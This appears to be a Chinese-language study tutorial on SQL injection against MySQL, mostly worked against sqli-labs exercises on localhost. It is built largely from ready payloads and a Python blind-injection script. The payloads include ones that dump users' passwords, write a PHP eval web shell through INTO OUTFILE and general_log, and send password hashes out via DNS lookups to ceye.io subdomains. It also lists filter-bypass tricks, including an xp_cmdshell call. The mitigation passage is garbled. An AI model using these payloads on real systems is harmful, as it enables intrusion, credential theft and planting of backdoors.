WEB渗透之SQL 注入

SQL 注入

前言

1. SQL 注入分类

按照注入类型
按照提交方式
按照获取信息方式
数据类型注入
字符串类型注入
搜索型注入
GET 注入
POST 注入
COOKIE 注入
HTTP 头部注入
布尔盲注
时间盲注
报错盲注
联合查询注入
堆查询注入

2. 按照数据库类型

image-20220731101808055

//判断是否是 Mysql 数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from information_schema.tables) #//判断是否是 access 数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #//判断是否是 Sqlserver 数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #//判断是否是Oracle 数据库
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #

1. 数据库相关知识

1. MYSQL

首先从我学了一年后端开发的思路来看,市面上的 MYSQL 版本大部分都是 5.0.x 左右,MySQL 在 5.0 版本做出来一系列的改进 MySQL 常用语句

1. information_schema

对于 MYSQL 5.0.x 来说,引入了一个名为 information_schema 的数据路,首先这个其实也不叫数据库,本质是一个视图,这其中的数据是只读 的。在这个数据库中存储的是所有的数据库名、表名、列名的数据库,所以我们可以利用他们来获取数据库的一些信息

. 表示的是下一级 : xx.yy 表示 xx 数据库下的 yyy 数据表

information_schema.tables : 这个表是用来记录所有数据库的数据表名
image-20220731093658330

information_schema.columns : 这个表使用来记录所有数据表的数据列名

image-20220731093813462

information_schema.schemata : 记录所有的数据库名信息

image-20220731093917782

常用的执行语句:

// 通过这条语句可以得到第一个的数据库名  
select schema_name from information_schema.schemata limit 0,1
// 通过这条语句可以得到所有的数据库名
select group_concat(schema_name) from information_schema.schemata 

// 通过这条语句可以得到指定security数据库中的所有表名
select group_concat(table_name) from information_schema.tables where table_schema='security'


// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1
2. 常用的函数
函数功能查询结果使用场景
version()数据库版本5.7.22-0ubuntu0.16.04.1 一般配合查询语句使用
database()数据库名字mozhe_Discuz_StormGroup
user()数据库用户root@localhost
@@version_compile_os操作系统Linux
system_user() 系统用户名
current_user()当前用户名
load_file()读取本地文件
@@datadir读取数据库路径
@@basedirmysql 安装路径
ascii(str)返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULLascii(“a”)=97常用于盲注
ord() 返回字符串 str的最左面字符的 ASCII 代码值
char(int)将 ASCII 值转换为字符
length(str) 返回给定字符串的长度 length(“string”)=6
substr(string,start,length) 对于给定字符串string,从start位开始截取,截取length长度substr(“chinese”,3,2)=”in”
mid(a,b,c)从位置b开始,截取a字符串的c位 regexp正则表达式的用法substr(“chinese”,3,2)=”in”
concat(username)将查询到的username连在一起,默认用逗号分隔
concat(str1,’*‘,str2)将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username)将username数据查询在一起,用逗号连接
limit 0,1查询第1个数 limit 5:查询前5个 limit 1,1: 查询第2个数 limit n,1: 查询第n+1个数 也可以 limit 1 offset 0
Ifnull(a,b) a为 null 取 b,否则取 a
exists()判断查询内容是否存在
like()匹配注入
Sleep() 休眠 用于时间盲注
Benchmark()是用于测试性能的,Benchmark(count,expr) 这个函数的执行结果,是将表达式 expr 执行 count 次,因此利用该函数,使得一个函数执行多次,延长返回时间Benchmark(100000000,md(5))
Extractvalue() extractvalue(xml_document, Xpath_string) 用于报错注入
Updatexml() updatexml(xml_document,xpath_string,new_value)
load_file() 读取文件 用于文件读写操作
into outfile() 写入操作

2. 判断 SQL 注入

  1. 原理: 可控变量、带入数据库查询、变量不存在过滤或过滤不严谨
  2. 出现位置: 凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。

3. SQL 注入

1. 联合注入

  1. 使用条件: union 联合查询用于有显示列的注入

  2. 实例:

    先使用 order by 猜列数:

    http://127.0.0.1:8086/Less-1/?id=1’ order by 3-- +
    image-20220730160521887

    在使用 union 得到显示位:

    http://127.0.0.1:8086/Less-1/?id=-1’ union select 1,2,3-- +

    image-20220730160651979

    然后利用 MYSQL 的一些函数以及关于 information_schema 的相关知识进行获取信息即可

    函数功能查询结果使用场景
    version()数据库版本5.7.22-0ubuntu0.16.04.1 一般配合查询语句使用
    database()数据库名字mozhe_Discuz_StormGroup
    user()数据库用户root@localhost
    @@version_compile_os操作系统Linux
    system_user() 系统用户名
    current_user()当前用户名
    load_file()读取本地文件
    @@datadir读取数据库路径
    @@basedirmysql 安装路径

2. 报错型注入

  1. 定义: 报错注入是在没有办法使用 union 联合查询的时候使用的注入方法
  2. 使用前提: 不能过滤一些关键的函数、查询结果需要显示在错误信息中并输出
1. floor 报错注入

对于这个方法,我是有一定的歧义的,因为在我的版本没有办法使用,我使用的是 8.0.12 版本,这种错误可能是只有在低版本中会出现

  1. 介绍: floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可

  2. 使用:

    // 我们可以将 user() 改成任何函数,以获取我们想要的信息。
    http://127.0.0.1/sqli/Less-1/?id=-1'  and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
    
    //将其分解
    (select 1 from (Y)a)
    
    Y= select count(*) from information_schema.tables group by concat(Z)
    
    Z= user(),floor(rand(0)*2)           //将这里的 user() 替换成我们需要查询的函数
    
  3. 相关原理解释

  4. 常用的一些执行语句:

    # 爆数据库:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    
    # 爆表:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    
    # 爆字段:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    
    # 爆用户名:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    
    # 爆数据:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    
2. ExtractValue 报错注入

函数原型: extractvalue(xml_document, Xpath_string)
正常语法: extractvalue(xml_document,Xpath_string)

  • 第一个参数: 为 xml 文档对象的名称
  • 第二个参数: 是 xpath 格式的字符串

作用: 从目标 xml 中返回包含所查询值的字符串,返回结果限制在 32 位字符

  1. 第二个参数是要求符合 xpath 语法的字符串,如果不满足要求,就会报错,并将查询结果放在报错信息中,因此可以利用:payload:id=‘and extractvalue(“anything”,concat(’~',(select语句))

  2. 示例:

    id=' and extractvalue(1,concat('~',(select database()),'~'))
    id=' and extractvalue(1,concat(0x7e,@@version,0x7e))  ps: 0x7e 表示的是 ~
    
  3. 常用 payload

    # MYSQL 数据库
    
    #查数据库名:
    id=' and extractvalue(1,concat(0x7e,(select database())))
    
    #爆表名:
    id=' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
    
    #爆字段名:
    id=' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))
    
    #爆数据:
    id=' and extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))
    

    ① 0x7e=’~’

    ② concat(‘a’,‘b’)=“ab”

    ③ version()=@@version

    ④ ‘~‘可以换成’#’、’$'等不满足xpath格式的字符

    ⑤ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

  4. 实际案例:

    http://127.0.0.1:8086/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select database())))-- +
    

    image-20220731104516766

3. updatexml 函数

函数原型:updatexml(xml_document,xpath_string,new_value)

正常语法:updatexml(xml_document,xpath_string,new_value)

第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串

第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

使用方式与上面相同

  1. 常用 payload:
    # Mysql  数据库
    # 爆数据库名:
    ' and updatexml(1,concat(0x7e,(select database())),0x7e)
    # 爆表名:
    ' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)
    # 爆列名:
    ' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e)
    # 爆数据:
    ' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e)
    
    

3. 布尔盲注

  1. 盲注: 既在 SQL 注入过程中,SQL 语句执行查询后,查询数据不能回显到前端页面中,需要使用一些特殊的方式来判断或尝试

    1. 如果数据库运行返回结果时只反馈对错不返回数据库中的信息,此时可以采用逻辑判断是否正确盲注来获取信息 布尔盲注
    2. 盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间的不同,一般分为三类)
  2. 原理: 盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为 true, 异常显示为 false

  3. Python 脚本:

    # 布尔盲注
    import requests
    import time
    
    url = "http://127.0.0.1:8086/Less-1/"
    temp = {"id": ""}
    column = ""
    for i in range(1, 1000):
        time.sleep(0.06) # 间隔时间
        low = 32
        high = 128
        mid = (low + high) // 2
        while (low < high):
            # 库名  第一个 %d 是指第几个字符  第二个 %d 是指当前字符的大小
            temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
            # 表名
            # temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
            # 字段名
            # temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
            # 内容
            # temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
            #
            r = requests.get(url, params=temp)
            time.sleep(0.04)
            print(low, high, mid, ":")
            if "Click" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if (mid == 32 or mid == 127):
            break
        column += chr(mid)
        print(column)
    
    print("All:", column)
    

4. 时间盲注

  1. 使用前提: 页面不会放回报错信息

  2. 原理: 无论我们输入的语句是否合法,页面显示的信息是固定的,即不会出现查询的消息,也不会出现报错信息,可以尝试基于时间的盲注来测试,根据页面响应的时间,来判断输入的信息是否正确,在可以判断返回正确还是错误的情况下,两种注入方式都可以使用,延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误

  3. payload:

    // 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应
    http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substring(database(),1,1))<100,1,sleep(5)) #
    
  4. 在使用的时候建议配合 <> 进行二分法判断

5. 堆叠注入

  1. 原理: 在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    select * from users where id=1;insert into users(id,username,password) values('100','new','new');
    
  2. 如果 select 被拦截我们可以使用 show 进行代替:

    展示数据库 show databases;
    展示当前数据库的数据表 show tables;
    展示字段名 show columns from 表; (如果表名为数字,需要使用

  3. 可以使用 十六进制编码,执行预处理语句:
    现在假设我们要执行: select * from 1919810931114514 使用在线工具进行 16 进制转换

    结果如下:
    0x312773656c6563742a66726f6d603139313938313039333131313435313460

    结合预处理语句,执行 语句为:

    ;SeT@a=0x312773656c6563742a66726f6d603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

1. 预处理语句
  1. 简介:MySQL 官方将 prepare 、execute、deallocate 统称为PREPARE STATEMENT。 简称为预处理语句

    预处理语句
    prepare 准备
    execute 执行
    deallocate 释放
    优化 SQL 绑定参数 减少解析 防止 SQL 注入
  2. 使用格式:

    prepare 预准备语句名 from '预准备语句';  # 定义语句
    
    -- set @a=1, @n=2; 仅支持 set 变量赋值   # 变量赋值
    execute 预准备语句名 [using @a, @n];     # 执行预处理语句
    
    [deallocate | drop] prepare 预准备语句名;  # 删除预处理语句
    
    
    实例:
    prepare prepare_sql from 'select ?+?';
    
    set @a=1, @b=2;
    
    execute prepare_sql using @a, @b;
    
    deallocate prepare prepare_sql;
    
     #### 2. HANDLER 使用
    
  3. 链接

  4. 这个方法可以配合堆叠注入进行数据的获取

3. sqlmode 的使用
  1. 链接
  2. 这个方法主要利用的更改 MYSQL 对于一些运算符的功能

6. 宽字节注入

这种错误,也只有在题目中会出现,在一般开发中统一的默认字符编码为 UTF-8

  1. 链接
    PS: 这个人写的很完美,我感觉自己写不出更好的了,就看原文吧

  2. 绕过思路:

    1. 宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。

    2. 产生原因:执行了 set character_set_client = ‘gbk’; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names ‘gbk’ 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码就认为提交的字符+%5c是gbk的一个字符。

    3. 原理: mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

      1. %df 吃掉 \ 具体的原因是 urlencode(') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
    4. 将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass

    5. post 型的注入漏洞,同样的也是将 post 过来的内容进行了 ‘ \ 的处理。 get 型的方式是以 url 形式提交的,因此数据会通 URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。将 utf-8 转换为 utf-16 或 utf-32,利用‘ 的 utf-16 进行突破的,我们就可以利用这个方式进行尝试

7. Order By 注入

这个应该是在实际环境中最有可能被利用的一个点了

这一关是在 sqliabs-less-46 关,执行语句为 $sql = “SELECT * FROM users ORDER BY $id”;

  1. SELECT 的官方文档:

    SELECT
        [ALL | DISTINCT | DISTINCTROW ]
          [HIGH_PRIORITY]
          [STRAIGHT_JOIN]
          [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
          [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
        select_expr, ...
        [INTO OUTFILE 'file_name' export_options
          | INTO DUMPFILE 'file_name']
        [FROM table_references
        [WHERE where_definition]
        [GROUP BY {col_name | expr | position}
          [ASC | DESC], ... [WITH ROLLUP]]
        [HAVING where_definition]
        [ORDER BY {col_name | expr | position}
          [ASC | DESC] , ...]
        [LIMIT {[offset,] row_count | row_count OFFSET offset}]
        [PROCEDURE procedure_name(argument_list)]
        [FOR UPDATE | LOCK IN SHARE MODE]]
    
  2. 利用 Order BY 后面的参数进行注入:

    1. 思路:

      1. 直接添加注入语句: ?sort=(select …)
      2. 利用一些函数: ?sort=rend(sql 语句)
      3. 利用 and : ?sort=1 and(sql 语句)

      sql 语句可以利用报错注入和延时注入的方式

  3. 验证方式:

    1. 升序和降序验证:

      # 升序排序
      ?sort=1 asc
      # 降序排序
      ?sort=1 desc
      
    2. rand() 验证

      ?sort=rand(true)
      ?sort=rand(false)
      

      这两个函数的执行结果不一样

    3. 延时验证

      ?sort=sleep(1)
      ?sort=(sleep(1))
      ?sort=1 and sleep(1)
      
  4. 报错注入:

    • and(报错语句)

      ?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
      ?sort=0 and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1))
      
    • 直接添加注入语句报错

      ?sort=(SELECT COUNT(*) FROM information_schema.COLUMNS GROUP BY CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND(0)*2)))
      
    • procedure analyse 参数后注入:

    • 利用procedure analyse参数,也可执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

      注意,procedure analyse只能在Linux下使用

      ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
      
      ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)
      
  5. 布尔盲注
    判断数据库名的第一位为:

    ?sort=RAND(LEFT(database(),1)>'r')
    ?sort=RAND(LEFT(database(),1)>'s')
    
  6. 延时盲注

    ?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1)))
    ?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1)))
    ?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
    
  7. into outfile
    将查询结果导入倒文件中:

    ?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.txt"
    

    如果导入不成功的话,可能是没有权限的问题

  8. 利用导出文件 getshell

    可以将lines terminated by用于order by的情况来getshell,lines terminated by可以指定每一行之间的分隔符

    ?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
    

    0x3c3f70687020706870696e666f28293b3f3e是<?php phpinfo();?>的十六进制编码

    查看写入的文件内容:

    1    Dumb    Dumb<?php phpinfo();?>2    Angelina    I-kill-you<?php phpinfo();?>3    Dummy    p@ssword<?php phpinfo();?>4    secure    crappy<?php phpinfo();?>5    stupid    stupidity<?php phpinfo();?>6    superman    genious<?php phpinfo();?>7    batman    mob!le<?php phpinfo();?>8    admin    admin<?php phpinfo();?>9    admin1    admin1<?php phpinfo();?>10    admin2    admin2<?php phpinfo();?>11    admin3    admin3<?php phpinfo();?>12    dhakkan    dumbo<?php phpinfo();?>14    admin4    admin4<?php phpinfo();?>
    
  9. 堆叠注入:
    局限性: 在Web中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。如果是在Windows平台下,可以使用DNSLog数据外带,或者开启日志Getshell的方式,来获得查询内容。

    利用CEYE平台读取DNS查询日志,获得外带的数据

    ?sort=1;SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users LIMIT 1,1),'.b182oj.ceye.io\\abc'));
    

    开启日志 getshell:

    ?sort=1;set global general_log = "ON";set global general_log_file='C:/phpstudy_pro/WWW/1.php';
    ?sort=1;select "<?php phpinfo();?>";
    
  10. 总结:
    如果页面会打印错误信息,则可以使用报错注入。在进行布尔盲注和延时盲注的时候,如果拼接方式有引号,只能使用and来进行报错和延时注入。如果MySQL有读写Web目录的权限,可以使用into oufile或lines terminated by这两种方法,将结果导入到一个可以访问的文件中。如果查询的SQL语句中使用了函数mysqli_multi_query,该函数可以执行多个由分号分隔的SQL语句,此时还可以进行堆叠注入。但是,堆叠注入有局限性,结果可能无法回显到前端。这时,如果是在Windows平台下,可以使用DNSLog数据外带,或者是开启日志Getshell的方式,来获取查询内容。

  11. 参考文章: 从sqli-labs Less - 50 全面分析order by后注入

8. Cookie 注入

如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。

但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request(“xxx”),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。

我们这里有一个连接:www.xx.com/search.asp?id=1

我们访问:www.xx.com/srarch.asp 发现不能访问,说缺少id参数。

我们将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。

那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了!

9. User-agent 注入

访问 sqlilabs 的第18 关,页面显示一个登陆框和我们的 IP 信息,
image-20220731131419154

抓包,对抓取的数据中的 useragent 信息进行修改:

'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1  #我们可以将 database()修改为任何的函数

10. XFF 注入

  1. 介绍: XFF 是请求头中的一个参数,是用来识别通过 HTTP 代理或负载均衡方式连接到 Web 服务器的客户端的最原始的 IP 地址的 HTTP 请求头字段,代表了 HTTP 的请求端的真实 IP

    X-Forwarded-For: client1, proxy1, proxy2, proxy3
    //浏览器IP,第一个代理服务器,第二个三个四个等等
    
  2. 利用方式:

    1. 绕过服务器过滤:
      XFF 漏洞也称为 IP 欺骗,有些服务器通过 XFF 头判断是否是本地服务器,当判断为本地服务器时,才能访问相关的内容:

      X-Forwarded-For: 127.0.0.1
      X-Forwarded-For: 192.168.1.1
      

      修改 XFF 头信息,就可以绕过服务器的过滤

    2. XFF 导致 SQL 注入:
      XFF 注入和 SQL 注入的 header 头部注入原理一样,服务器端就会对 XFF 信息进行记录,但没有进行过滤处理,就容易导致 SQL 注入的产生

      X-Forwarded-for: 127.0.0.1' and 1=1#
      
    3. 补充:
      服务器判断真实地址的参数可以有多个:

      	x-forwarded-fot
      	x-remote-IP
      	x-originating-IP
      	x-remote-ip
      	x-remote-addr
      	x-client-IP
      	x-client-ip
      	x-Real-ip
      

11. REGEXP 正则匹配

  1. 介绍: 正则表达式在计算机中通常用来检索、替换那些符合某个模式的文本
    img

  2. 已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,1 –> ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] –> ^ad ; 就这样,一步一步判断第一个表的表名 ^admin$ 。然后 limit 1,1 判断第二个表

    // 判断security数据库下的第一个表的是否以a-z的字母开头
    http://127.0.0.1/sqli/Less-1/?id=1' and  1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #
    
  3. 参考文章

12. 二次注入

image-20220731145600918

  1. 介绍: 二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

  2. 攻击流程:

    1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
    2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
    3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
    4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
    5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功
  3. 实际案例:
    sqlilabs-24 关

    1. 注册一个用户: ID=admin’# pw=admin

    2. 查询数据库发现新注册的用户:
      image-20220731150438653

    3. 登陆对新增用户密码进行修改为 123456:
      image-20220731150551445

    4. 操作完之后发现修改的用户密码为 admin

13. 文件读写操作

使用函数:

函数功能
load_file()读取文件
into outfile()写入文件
  1. load)file() 读取文件

    1. 使用条件:
      1. 判断是否有权限进行文件读写:
      2. 读取的文件必须在服务器上
      3. 必须执行文件的完整路径 常使用的路径
      4. 欲读取文件大小小于 max_allowed_packe
  2. into outfile 写入文件

    1. 可以把文件创建到服务器上,所以我们必须要有 FILE 权限否则不能使用
    2. 利用方式:
      1. 直接将 SELECT 内容导入到文件中
        SELECT 写入内容 into outfile 路径
      2. 修改文件结尾
        Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 进制文件

    在前端无法导出数据的时候,我们可以利用下面语句:

    select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’) into outfile‘c:\wamp\www\test.php’

    可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。上述 my.ini 当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来,这个要平时积累

  3. 实例:

    #  读取E 盘下的 3.txt 文件
    
    //union注入读取 e:/3.txt 文件
    http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file("e:/3.txt")#//也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874
    http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file(0x653a2f332e747874)
    
    //盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
    http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
    
    
    
    # 写入文件
    // 利用union注入写入一句话木马  into outfile 和 into dumpfile 都可以
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'e:/4.php' #// 可以将一句话木马转换成16进制的形式
    
    http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e  into outfile  'e:/4.php' #
    

14. DNS 注入

  1. DNS注入需要有高权限,因为要进行文件的读写

  2. DNS 产生原因是因为 load_file() 支持外部读取

  3. DNSlog 解决了盲注不能回显数据,效率低下的问题

  4. 举例:

    http://127.0.0.1:8080/sqlilabs/less-2/?id=-1 and if((select load_file(concat('\\\\',(select  version()),'.hq7x50.ceye.io\\abc'))),1,0)-- +
    

    使用工具:
    python dnslogSql.py -u “http://127.0.0.1:8086/Less-9/?id=1’ and ({})–+” --dbs

  5. 优质文章: MySQL注入 — Dns 注入

15. 预编译绕过

SQL Injection (mitigation)防御sql注入,其实就是session,参数绑定,存储过程这样的注入。利用session防御,session内容正常情况下是用户无法修改的select* from users where user打了”+3e33ion.getAttribute(“UserID”)+“”;//参数绑定方式,利用了sq1的预编译技术:

string query = "SELECT - FROM userg WHERE last name=2";Freparedstatement statement=connection-preparestatement(query);statement.setstring(1. accountName);Resultsetresults= statement.executeQuery();

上面说的方式也不是能够绝对的进行3q1注入防御,只是减轻。如参数绑定方式可以使用下面方式绕过。通过使用 case when 语句可以将order by后的orderExpression表达式中添加select语句(仅限于使用 order by 的语句)

16. 绕过技巧

  1. 修改提交方式

  2. 数据:

    1. 编码绕过:
      1. 大小写
      2. URL 编码
      3. HTML 编码
      4. 十六进制编码
      5. unicode 编码
    2. 注入数据加密
  3. 使用效果相同的函数代替:

    hex()、bin()==>ascii()
    sleep()==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr()==>substring()
    @@version==>version()
    @@datadir==>datadir()
    逻辑符号:如andor不能使用时,尝试&&||双管道符。
    
  4. 使用特殊符号干预:

    1. ~、/**/、%0A、%23
  5. 特殊符号代替空格

    %09 tab键(水平)、%0a 换行、%0c 新的一页
    %0d return功能、%0b tab键(垂直)、(0x9、0xa-0xd、0x20、0xa0)空格
    
  6. 特殊符号:

    反引号,select `version()`,绕过空格和正则
    加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤
    @符号,用于定义变量,一个@代表用户变量,@@代表系统变量
    
  7. 关键字拆分:

    'se'+'lec'+'t'
    %S%E%L%C%T 1,2,3
    ?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
    !和():'or--+2=--!!!'2
    id=1+(UnI)(oN)+(SeL)(EcT)
    
  8. 加括号绕过:

    1. 小括号

      union (select+1,2,3+from+users)%23
      union(select(1),(2),(3)from(users))
      id=(1)or(0x50=0x50)
      id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
      
    2. 花括号

      select{x user}from{x mysql.user}
      id=-1 union select 1,{x 2},3
      
  9. 反序列化: 将数据以反序列化形式提交

  10. 注释符混用:

    1. 类似于特殊符号,提供干扰
    2. //、–、-- +、#、/**/、%00
